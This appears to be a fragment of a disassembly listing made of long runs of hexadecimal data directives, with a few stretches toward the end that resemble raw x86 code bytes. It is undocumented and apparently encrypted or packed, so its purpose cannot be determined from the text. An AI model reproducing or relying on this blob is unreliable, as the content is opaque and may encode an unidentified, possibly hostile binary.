dd 0EC059865h, 0AF44F6B1h, 0B8B03F9Eh, 8DF48F60h, 9908ADDh
dd 9ADB98C2h, 6C077E9Dh, 0AD94AAA6h, 0C3C21BA7h, 28550125h
dd 0C3BDFC22h, 19E14C65h, 119FB866h, 0C08FA2B7h, 0F0429025h
dd 0C8EBE748h, 20BDF321h, 7E7EA702h, 249988ABh, 24993AA3h
dd 20BD3F3Eh, 67EC964h, 0ACAD9BA4h, 0A5CC2FE2h, 3E04EABh
dd 0A534FEC2h, 275DD9E7h, 0C8EA7E48h, 20BD3F21h, 7F7EC002h
dd 2499B3ABh, 2499A3A3h, 20BDF338h, 337EAE65h, 3E356401h
dd 0CB37189Dh, 378CBAAFh, 0AD3698C2h, 275DCF0Bh, 3C187229h
dd 0A534F4C2h, 275DCD63h, 3F684909h, 345479C2h, 0AFBD3F22h
dd 59001160h, 2171C93Eh, 578BFDECh, 3AE29F78h, 0E653AC0Fh
dd 0C0BAA5A7h, 20D72D25h, 20BED772h, 789D9F22h, 643497E1h
dd 643CE306h, 20A7F706h, 70FDF922h, 0C3663FE1h, 501EE30Dh
dd 7D303442h, 0C9BA7F32h, 20BDCF33h, 7C4D176h, 0BCEF28C6h
dd 9C2BCDC2h, 0BDDA353Ah, 9D361FC9h, 275D3B4Bh, 0F903BA4Ah
dd 20AD27CBh, 0AFFDE722h, 1C2C813Fh, 69E1890h, 0C3ED7C37h
dd 0ABDBFCF0h, 243C66EDh, 0F7372C06h, 39384630h, 0DFBA073Ah
dd 0C094DE97h, 75007225h, 0ADBA1C16h, 0C3C296A7h, 0D00A3025h
dd 20D74FDDh, 20BE2775h, 7F9DE722h, 5C34ACE1h, 643CFD06h
dd 20A5F806h, 77FA7E22h, 277E91E1h, 0BDB461EFh, 275DD3A7h
dd 28246A29h, 0A534F4C2h, 275DE18Bh, 20BDFBCAh, 0D338B022h
dd 0B840B3D9h, 7938597Dh, 73BA2F25h, 0C8EBE748h, 20BDF321h
dd 7E7EA702h, 249988ABh, 24993AA3h, 20BD3F3Ah, 6B7EC964h
dd 58414AE3h, 20BF6C2Dh, 0D936F322h, 0E4CEA34Ah, 0A1E3AC56h
dd 71E45A26h, 0B5945C76h, 275DAD33h, 9907ADDh, 20D7E0C2h
dd 20BE1B77h, 7D9DF922h, 4C34A1E1h, 643C7A06h, 20A73B06h
dd 75F89F22h, 8D34F9E1h, 4AB1C356h, 5F5576AFh, 0A1DBFEC1h
dd 0DFDE2CCBh, 77BD14F2h, 20BD3CCAh, 0E3E2BF22h, 4C1467Dh
dd 4F96626h, 20BDE926h, 0E3EABE22h, 7D06CD3Ch, 2B0AF9DDh
dd 0C0BDBAAFh, 89381625h, 4ABA2F3Fh, 2355B722h, 0BDF322h
dd 0A9E53A7Ah, 0A1B9D866h, 39B95A66h, 60BD3F22h, 37B5C72h
dd 41F3D87Fh, 61006E42h, 2FBA1331h, 0E6DC289Dh, 0C0BAA5A7h
dd 20D73925h, 20BED774h, 7E9D9F22h, 543491E1h, 643CE306h
dd 20ABF706h, 76FBF922h, 0C0ED5BE1h, 6E0C3ABh, 0FAD538C2h
dd 9A3B979Fh, 997AE65h, 0EF99E3A3h, 4A8C253Dh, 2355AA22h
dd 0BDFC22h, 0A9E6BD79h, 0A1B91B7Eh, 37B9BB66h, 63BDCF22h
dd 0A9B82471h, 0ABDBA170h, 0D0806D0h, 2BBA1C0Bh, 0C0A80FB7h
dd 0AD6EB425h, 0C3C277A7h, 70BDA525h, 20BDE4CAh, 0E3E5D322h
dd 4F9707Ah, 4F97D26h, 20BD6B26h, 0E3ED7F22h, 97B2C57Eh
dd 0A96D30E9h, 0C0A0F6B7h, 0D1387A25h, 92BA193Eh, 79383A8Ch
dd 67BA9E25h, 0C875802Dh, 20BD9F26h, 0A161DF58h, 20B8682Dh
dd 0C703F322h, 70AFF0B0h, 2499B8A9h, 20AF9773h, 6A43F22h
dd 0C1423811h, 0ECFD5D44h, 0A55E1E19h, 8131EC94h, 2FBD727Ch
dd 20BDF8AEh, 41DD2D22h, 4F9B67Bh, 2504F926h, 0F93D9760h
dd 0D13C8117h, 95426FCBh, 275DD00Fh, 5F5579AFh, 20D779C1h
dd 20BED770h, 7A9D9F22h, 743495E1h, 643CE306h, 20A6F706h
dd 72FFF922h, 0F35EA3E1h, 0D2926C6Eh, 21333068h, 0D8BD9F22h
dd 20D71FDDh, 20BE0F72h, 789DF322h, 6434A1E1h, 643CF806h
dd 20A87A06h, 70FD3F22h, 9A57F4E1h, 0BCD4F74h, 3E462ABh
dd 20D7F4C2h, 20BE1177h, 7D9DFC22h, 4C3423E1h, 643C3B06h
dd 20A49B06h, 75F8CF22h, 89A34DE1h, 0ABD29DABh, 0C098049Fh
dd 79383A25h, 67BA9E25h, 24559993h, 7DBD9F22h, 7017021Eh
dd 643610A9h, 72EDF706h, 0BA029F42h, 2624421Eh, 2FDC202Bh
dd 7A4CB413h, 96BD147Ah, 4F94610h, 0C9EFB726h, 20BDF329h
dd 0E767E2D0h, 9C98A8D3h, 2F6C1713h, 61538113h, 78E799ADh
dd 0DF6B447Ah, 0C094CA97h, 75BD9925h, 20BDFACAh, 0E3E0DC22h
dd 4D1F77Fh, 4F9BE26h, 20BD8B26h, 0E3E88A22h, 49086C4Ah
dd 0ADBA1316h, 0C3C211A7h, 76BD9625h, 20BD7DCAh, 0E3E31F22h
dd 4C9167Ch, 4F94E26h, 20BDFA26h, 0E3EBB522h, 35292105h
dd 77A4C0C4h, 7FED30F0h, 6C82A9h, 0F04298C2h, 0C8E8CF48h
dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E36h
dd 737E6A67h, 20BD93CAh, 7FEFCB22h, 25CF8E82h, 45C3065Ch
dd 95B4A975h, 275DEE2Bh, 0A534247Ch, 275D2F47h, 0C8EA9F48h
dd 20BDCF21h, 7F7EB802h, 24998FABh, 2499BDA3h, 20BDFC37h
dd 0FF7E2965h, 6100B6A3h, 0DFBA7F0Fh, 25524EF2h, 0A982AB68h
dd 0C0B80AA7h, 70BD9325h, 20BDFFCAh, 0E3E55E22h, 4F9B67Ah
dd 4F91E26h, 20BDD926h, 0E3EDA722h, 0C904ED98h, 20BDF936h
dd 389DB600h, 7D791BCFh
dd 5A6F94A0h, 8D49ACEFh, 12166DD3h, 4A656B44h, 2355A122h
dd 0BDF922h, 0A9E73F78h, 0A1B95A76h, 35B91B66h, 62BD9F22h
dd 0DC4C0C70h, 44E6C44h, 3355A126h, 64BDF922h, 0EE309AB0h
dd 0ABD8E46Ch, 9D6CA5F0h, 8C4333F0h, 0ADB21A88h, 20BDE722h
dd 0E0B7AA7Dh, 23057D2Dh, 20D7FC22h, 20BE9675h, 7F9D3F22h
dd 5C34C0E1h, 643CCB06h, 20AAE306h, 77FAF322h, 1FBFCEE1h
dd 3130770Eh, 0E6BA9E3Dh, 0C0BA66A7h, 20D7D025h, 20BE2770h
dd 7A9DE722h, 7434A9E1h, 643CFD06h, 20A9F806h, 72FF7E22h
dd 0B59E1BE1h, 275DBC13h, 0DAD54A4Ah, 0A1C25152h, 2482D726h
dd 20D7B7A4h, 20BE1477h, 7D9D7E22h, 4C3462E1h, 643C9B06h
dd 20A6CB06h, 75F8E722h, 779C4E1h, 573D2B2Bh, 7D087756h
dd 0DFBA9E03h, 0C0941297h, 95281625h, 0ADBA2F35h, 0C3C20FA7h
dd 71BD9925h, 20BDFACAh, 0E3E4DC22h, 4F1F77Bh, 4F9BE26h
dd 20BD8526h, 0E3EC8E22h, 45A4AD37h, 0DF36DE6Ah, 75BD93F2h
dd 20BDFFCAh, 0E3E05E22h, 4D1B67Fh, 4F91E26h, 20BDD926h
dd 0E3E8A222h, 0AB24F7F6h, 0C0A54097h, 41387525h, 0A3BA9E3Bh
dd 20D71BE2h, 20BE7771h, 7B9DCF22h, 7C34BCE1h, 643CF706h
dd 20A6FD06h, 73FEFC22h, 0B20B70E1h, 9E415CD2h, 0E8029027h
dd 24872A9h, 0A534E0C2h, 275DD2EFh, 0C8EEF948h, 20BDFC21h
dd 7B7E2502h, 249963ABh, 2499DBA3h, 20BDCF34h, 467EB461h
dd 2FDD4167h, 20BDFCAFh, 0E5524622h, 0BD8E4BEDh, 275D1DE3h
dd 0D9381443h, 0D5BA2F27h, 30D87AA9h, 2FECF4C2h, 20BDFBAFh
dd 79E2AA22h, 77BD1461h, 20BD3CCAh, 0E3E2BF22h, 4C1467Dh
dd 4F96626h, 20BDE826h, 0E3EABE22h, 7BD4D797h, 5F40712h
dd 993C8044h, 0D920B642h, 0A9BA2F2Fh, 0C0B006BFh, 3B369225h
dd 0C8E8F948h, 20BDFC21h, 7D7E2302h, 249953ABh, 2499DBA3h
dd 20BDCF35h, 3E7EB267h, 0ABF755C2h, 2634F639h, 0ABBDFC22h
dd 0C0923397h, 4AA6B425h, 2355C822h, 0BDCF22h, 0A9E2247Dh
dd 0A1B9D75Eh, 35B9DD66h, 67BDFC22h, 1B30BD75h, 20D7E711h
dd 20BE7770h, 7A9DCF22h, 7434BDE1h, 643CF706h, 20A6FD06h
dd 72FFFC22h, 31C153E1h, 0E75D3A76h, 203E90B5h, 0A9BDCF22h
dd 0C08C6EBFh, 73BD9925h, 20BDFACAh, 0E3E6DC22h, 4E1F779h
dd 4F9BE26h, 20BD8A26h, 0E3EE8C22h, 0EE039407h, 0E6CA4641h
dd 0C0BAA0A7h, 20D7BB25h, 20BE9672h, 789D3F22h, 6434C7E1h
dd 643CCB06h, 20A5E306h, 70FDF322h, 0FFE0A2E1h, 0ABDB2CB1h
dd 20BA96D8h, 0B5ED3F22h, 0C81F4379h, 0C530E4ADh, 7FBA070Ah
dd 122A064Ah, 4B978A9h, 0C11B996h, 20BD6DCBh, 9CA4EC22h
dd 0AAF4CB07h, 0A4E6121Eh, 0CB34ABC2h, 6D3A865Ah, 20BDE8CAh
dd 1F9EF422h, 0BE0122E5h, 0E60AD57Bh, 29968A91h, 2B54761Ch
dd 27BDE722h, 177E6DC4h, 2C49BDFAh, 0DFE3DEF8h, 0C0945397h
dd 8D281625h, 0ADBA7F11h, 0C3C227A7h, 73BD8D25h, 20BDF0CAh
dd 0E3E6D922h, 4E17579h, 4F9FF26h, 20BD2226h, 0E3EEDC22h
dd 43EFAF11h, 65473204h, 0AD34A13Ch, 275DDD33h, 20BDF2CBh
dd 96146B22h, 0A9EE2AA9h, 876D84C2h, 0DF6F4C50h, 70BD8DF2h
dd 20BDF0CAh, 0E3E5D922h, 4F9757Ah, 4F9FF26h, 20BD2926h
dd 0E3EDDF22h, 0A952080Ah, 0C0A116A7h, 1108F025h, 60BA190Bh
dd 0C8ECFC48h, 20BD7E21h, 797E6602h, 2499D3ABh, 24998BA3h
dd 20BDE739h, 5F7EA263h, 166E3438h, 0B140ADCh, 0C0A88BAFh
dd 0C8BDB425h, 20BD9F2Eh, 4E313979h, 0CE7B1F76h, 0FAA17E3Eh
dd 0ABE708A8h, 0BD207522h, 0A9BA9E34h, 0C0A032A7h, 0C23CF925h
dd 5954CC30h, 4ABDE723h, 2355A222h, 0BDF922h, 0A9E43F7Bh
dd 0A1B95A6Eh, 37B91B66h, 61BD9F22h, 82FF0C73h, 9EDB79FCh
dd 0A530BCE0h, 275E32E5h, 0C8EDFC48h, 20BD7E21h, 787E6702h
dd 2499DBABh, 24998BA3h, 20BDE736h, 1F7EA362h, 3BE46CA9h
dd 0C92DFBC2h, 20BD7E2Ah, 13F48085h, 0F0364C92h, 72EF9F72h
dd 2FE41FA9h, 7FEAA313h, 0B0E5A378h, 0C8E8FC48h, 20BD7E21h
dd 7D7E6202h, 2499F3ABh, 24998BA3h, 20BDE739h, 0B67EA667h
dd 591ECDF9h, 0DF204128h, 0C0A213B7h, 26546825h, 0C3BD9F22h
dd 6054739Fh, 0BD30B95Fh, 275E38EFh, 20B71042h, 8D66FC22h
dd 0D781BA9Ch, 0C2B8D1C3h, 2C55CF43h, 0EEBDCF22h, 0C4ECF62h
dd 0FF1AD5Ch, 0C8F1FE2Eh, 20BDFC31h, 8AC03637h, 39478E7Eh
dd 0FF44A0D7h, 0F4FA6AFDh, 70FA395Fh, 7A8CFC70h, 0A9E3A67Ah
dd 20D7D83Eh, 20BE9671h, 7B9D3F22h, 7C34C4E1h, 643CCB06h
dd 20A1E306h, 73FEF322h, 0FFD73FE1h, 83A39864h, 0AD365109h
dd 275D1E8Bh, 4403F972h, 4B94617h, 0C8EAE748h, 20BDF321h
dd 7F7EA602h, 249980ABh, 24993AA3h, 20BD3F39h, 347EC865h
dd 80439718h, 0DFB9EBFCh, 0C0A0F6B7h, 8D20C825h, 0A9BA1C2Ah
dd 0C09CB3A7h, 72BD5525h, 20BD9CCAh, 0E3E7EF22h, 4E96E78h
dd 4F97226h, 20BDE126h, 0E3EFBE22h, 0AB8C70AEh, 0EF3C598Ch
dd 310BA3FCh, 27E44AE4h, 0ABEEE0C2h, 54709BF2h, 0ABB29BFBh
dd 20BDFC22h, 92997AA3h, 4AFA912Dh, 2355CC22h, 0BDCF22h
dd 0A9E62479h, 0A1B9D77Eh, 3AB9DD66h, 63BDFC22h, 2D4FBD71h
dd 0D6F76F53h, 20AD773Fh, 879CCF22h, 0B46A8A6Fh, 0DEC117C8h
dd 6307F2DEh, 0E836C660h, 0D08817Dh, 0ABBADF0Bh, 0C0A31EB7h
dd 0C8384225h, 0ABBA045Dh, 0C0917AAFh, 0AB6D0625h, 0B93875F2h
dd 4ABA9E08h, 23556F22h, 0BD9F22h, 0A9E50C7Ah, 0A1B9C366h
dd 39B9D766h, 60BDF922h, 49E43F72h, 69884B6Bh, 20BDBB2Dh
dd 0A57B9F22h, 275DC87Bh, 29306C65h, 0C8BA1301h, 20BDF926h
dd 81CFE9B2h, 20BDF12Dh, 73ED3F22h, 20BD8FCBh, 0D191F322h
dd 3E98A991h, 34EAC890h, 9A71ABAh, 6436A27Eh, 72ED7A06h
dd 20BD39CBh, 3A2C1722h, 2F6B650Dh, 0C002B713h, 7FF0617Eh
dd 2036A178h, 20BDF5CBh, 0FBAD2722h, 2E7FFEDCh, 64348FEDh
dd 72EDCB06h, 11B216A9h, 21E5AB78h, 0C0A020A7h, 0D080325h
dd 0C9BA9E0Bh, 20BD3F33h, 0E04E6324h, 0BFA9A3CBh, 141F1749h
dd 0E53BBA8Ah, 0C8387466h, 4ABA1F5Dh, 23552E22h, 0BD3F22h
dd 0A9E55C7Ah, 0A1B9EB66h, 3CB9C366h, 60BDF322h, 0E7223A72h
dd 2304DEDEh, 0C97F7950h, 20BD3F2Bh, 0FD81156Bh, 6C5D4B79h
dd 4A6D18ABh, 2355A622h, 0BDF922h, 0A9E03F7Fh, 0A1B95A4Eh
dd 37B91B66h, 65BD9F22h, 0A28C0C77h, 0F13C4615h, 0EAD8B6Eh
dd 10AC7CABh, 20D7FBC2h, 20BE9670h, 7A9D3F22h, 7434C5E1h
dd 643CCB06h, 20A8E306h, 72FFF322h, 0E61AA0E1h, 0C0BAA5A7h
dd 0BD342D25h, 275D3B9Bh, 20BD9BCAh, 19E25F22h, 140381BBh
dd 72EDA3C7h, 0EC049F73h, 11B2A3D1h, 0CB24C444h, 64366778h
dd 8029B06h, 0AB993BDAh, 20AC0E22h, 3647F322h, 5A953886h
dd 196DF149h, 0A1768532h, 0A992EABFh, 78B9BB66h, 0C8ECCF48h
dd 20BDE721h, 797EAA02h, 2499B5ABh, 2499B8A3h, 20BD7E38h
dd 477E6E63h, 536896C2h, 95429ED7h, 275DCE0Fh, 0C8EAF348h
dd 20BDF921h, 7F7EA302h, 249902ABh, 24997BA3h, 20BD9F3Eh
dd 9F7E9865h, 1B392364h, 0D9DD93D3h, 0E8369942h, 41692AA2h
dd 0FB0FBABh, 0ADDC38C2h, 0C3C277A7h, 75BDA525h, 20BDE4CAh
dd 0E3E0D322h, 4D1707Fh, 4F97D26h, 20BD6326h, 0E3E87A22h
dd 76239C67h, 1E546D2Dh, 0EA37163Bh, 548D4944h, 20D729DDh
dd 20BE1475h, 7F9D7E22h
dd 5C3460E1h, 643C9B06h, 20A4CB06h, 77FAE722h, 2D6FF7E1h
dd 46C3E573h, 0A53402A9h, 275D5EB3h, 0C8EE3F48h, 20BD9F21h
dd 7B7E9402h, 2499BBABh, 2499B7A3h, 20BDF935h, 0C57EAF61h
dd 4646237Dh, 0A57BF1A9h, 275D987Bh, 76BDA575h, 20BDE4CAh
dd 0E3E3D322h, 4C9707Ch, 4F97D26h, 20BD6726h, 0E3EB7922h
dd 56D1BCA5h, 2C558AEBh, 88BDE722h, 0B0ABBD50h, 0E7555323h
dd 2FEA6D0Dh, 0C8E3869Dh, 20BD3F26h, 0B0B9CD24h, 0CB2A7544h
dd 4F96C72h, 0D10A9326h, 20BDF6CBh, 0EA1E9322h, 9D055CD7h
dd 689A6251h, 4425E0BDh, 95BD4443h, 4F96E2Eh, 0F3369326h
dd 1BC9D49Bh, 0A1E59D1Bh, 752C53E0h, 0CD281C57h, 0DFBA7F3Bh
dd 0C094E297h, 0A4EF5825h, 1D0FF99Bh, 5F557CAFh, 9D96FBC1h
dd 275D7023h, 20D7EFDDh, 20BE7777h, 7D9DCF22h, 4C34BAE1h
dd 643CF706h, 20A1FD06h, 75F8FC22h, 0A40045E1h, 0DBFB2F0h
dd 0A8B29CAFh, 20BDCF24h, 108C6A11h, 0A534F4C2h, 275DCAABh
dd 0C8EDFC48h, 20BD7E21h, 787E6702h, 2499DBABh, 24998BA3h
dd 20BDE73Eh, 1B7EA362h, 4B6FDBF5h, 42855FC7h, 5120F742h
dd 0C9BADF25h, 20BD9F2Eh, 0D10BD002h, 0C12725B7h, 76B2B9D9h
dd 79383F43h, 63BA1C25h, 0C8EB7E48h, 20BD3F21h, 7E7EC102h
dd 2499BBABh, 2499A3A3h, 20BDF338h, 0A7EAF64h, 7DBCD1ECh
dd 9FD5D35Fh, 0A1307F25h, 48D4BB26h, 0A1ECE072h, 76A47FDh
dd 9542AA0Ah, 275DD00Fh, 20BDF2CAh, 23484B22h, 27404A6Ch
dd 0C9CD1F5h, 0AB8F0B06h, 0C0B20EAFh, 0A530AD25h, 275E86CAh
dd 0C8E8FC48h, 20BD7E21h, 7D7E6202h, 2499F3ABh, 24998BA3h
dd 20BDE73Ah, 0AF7EA667h, 0F3973AC1h, 6D287770h, 7ABA9E25h
dd 20D7EFDDh, 20BE7772h, 789DCF22h, 6434BFE1h, 643CF706h
dd 20A8FD06h, 70FDFC22h, 40E044E1h, 0A975B444h, 0C0B912B7h
dd 0A534AE25h, 275DFD87h, 0C8EEF348h, 20BDF921h, 7B7EA702h
dd 249922ABh, 24997BA3h, 20BD9F35h, 0DD7E9C61h, 0AD14B497h
dd 0C3764EA7h, 0F9087225h, 0B0BA1C01h, 0F6021842h, 20AED7E2h
dd 7C3B9F22h, 2D07BAEFh, 8792AA0Bh, 6DEAF919h, 0F935F0BFh
dd 2FEFACBCh, 7EE52413h, 0A3B26F43h, 20BD9F0Fh, 20BDDCCAh
dd 71113C22h, 2ABF6BEFh, 0F210DECAh, 5EBD505Eh, 67863CE8h
dd 20BD30CBh, 0FD871C22h, 0F9B95B9Bh, 0FA31E570h, 0CC0D3580h
dd 20D76978h, 20BE1475h, 7F9D7E22h, 5C3460E1h, 643C9B06h
dd 20A9CB06h, 77FAE722h, 0AD36B4E1h, 275DF997h, 20BDEDCAh
dd 0CA20CA22h, 4FDBAB71h, 3C802AFDh, 0C28FEA88h, 95364337h
dd 275DF50Fh, 4D280678h, 0A9BA1C3Dh, 0C0A2B397h, 0AB76B525h
dd 8D3014FAh, 0ADBA2F39h, 0C37656A7h, 76BD9925h, 20BDFACAh
dd 0E3E3DC22h, 4C9F77Ch, 4F9BE26h, 20BD8926h, 0E3EB8922h
dd 0AB9997DDh, 0C09082B7h, 0FA0CA925h, 0A999F8ABh, 0C0A62F9Fh
dd 72EDAC25h, 20BD93CAh, 0F9ED3922h, 40D30774h, 55E5E4E5h
dd 203DF645h, 7ABDFC22h, 9EEB4F2Dh, 23692B9Dh, 70E5C57Dh
dd 4A2E1EA9h, 2355B522h, 0BDF322h, 0A9E73A78h, 0A1B9D876h
dd 35B95A66h, 62BD3F22h, 78A15C70h, 3BDC72A9h, 0B542E0C2h
dd 275DEE27h, 20BDEBCAh, 0D8E3AE22h, 0B2DA7682h, 8C07B5B5h
dd 2AD4B704h, 0ABF1B62Fh, 0C08C329Fh, 0A534A925h, 275DE3CBh
dd 29B479ABh, 0A57A79C2h, 275D2CB3h, 20BD9F2Dh, 0C8E8CF48h
dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E3Ah
dd 947E6A67h, 0B207474Fh, 9FB220A8h, 0C92818DCh, 2FBA1338h
dd 0A5343295h, 275DFB47h, 0C8E87E48h, 20BD3F21h, 7D7EC202h
dd 2499A3ABh, 2499A3A3h, 20BDF33Eh, 8B7EAC67h, 27DCAC8Ch
dd 0C069B269h, 578BAA9h, 0BD3098C2h, 275E10D8h, 0ADBCA4ABh
dd 0C0AAC29Fh, 0F4087425h, 99BA1FFDh, 20BD7E11h, 13569BD1h
dd 20BD9F9Ah, 547DC422h, 20A52521h, 2C99B7A9h, 20BD1171h
dd 0A1E6FC22h, 20BD69E1h, 4E1B622h, 4F91632h, 17059436h
dd 0DFBD4682h, 4F978C2h, 4A5D0626h, 2355AD22h, 0BD7E22h
dd 0A9E4FC7Bh, 0A1B9BB6Eh, 3BB9EB66h, 61BDE722h, 9B9C3073h
dd 0C16D7C4Fh, 9D3426F3h, 275D4D1Fh, 77BD5543h, 20BD9CCAh
dd 0E3E2EF22h, 4C16E7Dh, 4F97226h, 20BDE526h, 0E3EABB22h
dd 58C340D6h, 6C8EBA2Ch, 0DD089650h, 0ADBA2F01h, 0C376569Fh
dd 57307E25h, 98BA1AC2h, 0B89B5717h, 2490FB11h, 0EF9638C2h
dd 9846DDE3h, 97A96151h, 25C0A772h, 0AF217D72h, 25C08FF9h
dd 22263171h, 83A9BD3Fh, 0A4F305E9h, 6AD98Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 84D022C3h
dd 373A1D47h, 602074C9h, 58D0Fh, 81660000h, 618869C2h
dd 293D8D8Bh, 66E907E0h, 0F5000000h, 51006A61h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 77EB7E83h
dd 8860FF9h, 60000000h, 9034D0BBh, 0F61F945h, 0E80h, 820F6000h
dd 0
aBAJ db 'ÒÉ\,',9,'aÃj',0
dw 0E853h
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6FC35343h, 0E4F7692Fh
dd 0E9C08BF9h, 11h, 0C0FE784Eh, 0C0F9464Ah, 890D1A3Fh
dd 8A8A07EAh, 0B1BD833Fh, 7E006h, 0BD830975h, 7E001C5h
dd 50197400h, 0B8C08B53h, 4B9h, 23998589h, 9D8D07E0h, 7E2BCC9h
dd 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h, 4B9h, 23998589h
dd 9D8D07E0h, 7E2B96Ah, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0C4C35747h, 603D291Dh, 3830Fh
dd 8B660000h, 61F98AF2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0AEC35646h, 2811611h, 0FA091F99h, 0FE9F9h
dd 0E80B0000h, 0D993365Eh, 0ADB63307h, 0B554412Bh, 0FC08BA4h
dd 784h, 1850F00h, 0F8000000h, 25E940h, 3C370000h, 3C75h
dd 7 dup(0)
dd 0E9000000h, 535h, 0AFC9836Bh, 243EF6DDh, 9BB56D52h
dd 0E28E0C9h, 86A05A3Ch, 0B1938831h, 270BDDF7h, 9E81536Dh
dd 14FACCE6h, 7560405Ah, 0D6BF5F52h, 0CEA51721h, 0BF456C8Fh
dd 0D73121D6h, 878D38F0h, 32452B65h, 0B901CB4Fh, 384FFACCh
dd 6CB3420Ch, 262C97DDh, 3FF9DBD9h, 0B36D5325h, 10CAB0AEh
dd 6E260D0Bh, 6CC1F669h, 607A341Ah, 0F048FD29h, 0F13CBB4h
dd 61676DF0h, 0B2CC8467h, 43ECFDE0h, 4E6DEBh, 350F26D1h
dd 428F954Fh, 0A1A66044h, 0D7217EABh, 3AAFE3F4h, 3E7C00DFh
dd 4347C144h, 3E55B242h, 0BA5A961Bh, 0E28DE029h, 5610F6C8h
dd 5AA40A51h, 11F729BAh, 6D545257h, 83DB0B5h, 0C27A61ABh
dd 0F21BC6BDh, 0D00E6CC1h, 0FB5434ACh, 71h, 9B46DC08h
dd 4B5FD4F8h, 452B2345h, 1235748Bh, 29BAA09Fh, 768084D7h
dd 195B60CAh, 98FB484Eh, 0D3EBDD6Ch, 0CCD24EF5h, 0B9FE2689h
dd 7CD10229h, 3449E01Eh, 10B54h, 2B550000h, 0E7A18544h
dd 694B253Ch, 0F95CA9AFh, 7C823A1Fh, 0F3DC9B82h, 8D8B903Bh
dd 74E7ECA4h, 6C532955h, 0C758C9DBh, 2B2227E1h, 0A8057A80h
dd 0A5BF775Eh, 1933EDD3h, 36492B1Fh, 0A5E06866h, 7C812C7Ch
dd 0DADF977Eh, 82D42972h, 0FACCE6A0h, 57555A14h, 0B7B5BA72h
dd 712910D1h, 0C5CA756Ch, 2126DEC7h, 5EA1FE2Bh, 3A90ED4Eh
dd 54342C1Ch, 8037h, 836A4400h, 1DCFC6CBh, 837A7F39h, 492B5B7Dh
dd 0A78C8A8Fh, 5877EAEFh, 0A0BBF619h, 70C329BAh, 4E98F56Ah
dd 0C698B26Ch, 27252AE4h, 8381863Eh, 0E4E2E7A1h, 0DA4247FFh
dd 0E1F13C91h, 81CD2380h, 0CA5434E8h, 89h, 8F492B14h, 1AFB278Ah
dd 0DB4C44CDh, 785B555Bh, 6D18D0B9h, 3A332A56h, 6D1B23FDh
dd 0D1C8CD87h, 0A1D32026h, 6E097ECh, 2EAB0E1Fh, 3C1D6BC5h
dd 8F958C91h, 0DFF9B395h, 6487C6E5h, 29BAA14Dh, 0D6D0D629h
dd 264C30EFh, 0BAA0AE03h, 0CA75C829h, 0C23CEC5h, 24CE0AE0h
dd 2F35A3A2h, 0CD139BE2h, 0F81329B9h, 78A6C6CCh, 0DBE146E7h
dd 69D8DC3Bh, 57A800Fh, 981452A8h, 38645434h, 0EC9123B7h
dd 0ED71774Ch, 1, 87462B37h, 45FDE2A3h, 0F39E4940h, 0AB5F8BEEh
dd 9FC6C346h, 0DBC1BBC1h, 0F9261C21h, 0AE6D52A4h, 160D12CCh
dd 0FB25516Bh, 6802253Ch, 9E2E59B9h, 0B89E5D44h, 0A3A853FEh
dd 0EB05BFA5h, 62793319h, 0E6ECA688h, 0BA5D5299h, 590E21D9h
dd 12CCB204h, 5E7C1F8h, 494F464Bh, 0AAAF694Fh, 0F50CC6ACh
dd 777C341Bh, 0C52D7A80h, 81305392h, 0FD21D9B9h, 0D22FA4AAh
dd 507CA288h, 41B306Dh, 1998933Bh, 6521D9E4h, 696E260Bh
dd 21CC772h, 0D457E624h, 13E1153h, 0D15B0000h, 0ADD9F04Fh
dd 2C01A76h, 308F9501h, 598CC90Dh, 0E7EC3F2Eh, 2F4903E9h
dd 7F371EF8h, 837D837Ah, 7BDEE39Dh, 0FF04BCA1h, 22080208h
dd 0E6125168h, 3359C32Fh, 0F8B9B491h, 0A321DA41h, 0C0308C0h
dd 8FDCE235h, 3781DE27h, 41809751h, 0DA41931Eh, 0E698EB21h
dd 4C434802h, 0D806E446h, 0F353D4B5h, 5Bh, 6487C63Dh, 29BAA14Dh
dd 30E8CF29h, 8389342Bh, 2E45E02Fh, 0B2B76F54h, 6E2609BBh
dd 0EBE60968h, 5356455Dh, 2B0FE900h, 6F756C71h, 0A1D6DB22h
dd 0D697A9BAh, 0EB4AD579h, 3F7295D4h, 37A9BAA2h, 5C7FDEE4h
dd 0D6455F75h, 5D94AE01h, 0A0B6FB1Eh, 6DC029BAh, 7E3D67h
dd 0D1D30000h, 0B6D9F04Fh, 2E5AA4E4h, 2BAFDB1Ah, 0BABB033Ah
dd 0A5B001FCh, 73C621D9h, 0F6FB4E6Dh, 6C5112F8h, 0D12CAADh
dd 6F666B16h, 0F2D8AAC4h, 0E0EC3338h, 4721D9A5h, 5EB3D92h
dd 9FA45E44h, 0CA764Fh, 41EC72A5h, 0C0507C96h, 7A294C63h
dd 26789Fh, 0C4AAA8ADh, 0E20F050Ah, 3FE18Dh, 1DDC6E9h
dd 52A52E56h, 42270138h, 0FDB6FB1Eh, 6DC021D9h, 0C2C6BDC2h
dd 0CC7A1DC0h, 0F31370Ch, 0D9F04FD1h, 22DCC09Ah, 42CAD91Ch
dd 36902E59h, 0EAEF9A54h, 324C06ECh, 0BBC07A60h, 48989E74h
dd 0BE13480Ah, 0B2CC866Ch, 2940FAE0h, 0ABB16B4Fh, 0BF77605Eh
dd 81ADC4BAh, 2A383216h, 0D89276ECh, 5DB2272Dh, 0DCFF250Bh
dd 0ED452CD5h, 7C4A4EA1h, 7906EE52h, 0F2C4DE89h, 1F4D520Ch
dd 3, 2B6624B5h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h
dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh
dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 1968241Ch
dd 89000060h, 3C682414h, 89000022h, 0BB53241Ch, 747201CDh
dd 0C15BDA89h, 0F28106EAh, 1F502F36h, 19DAF281h, 0C2811E8Ah
dd 7BF82923h, 0BA32C281h, 8B548BDFh, 0C483241Ch, 4EC8304h
dd 89243489h, 87389D6h, 2434FF5Eh, 4C4815Bh, 8B000000h
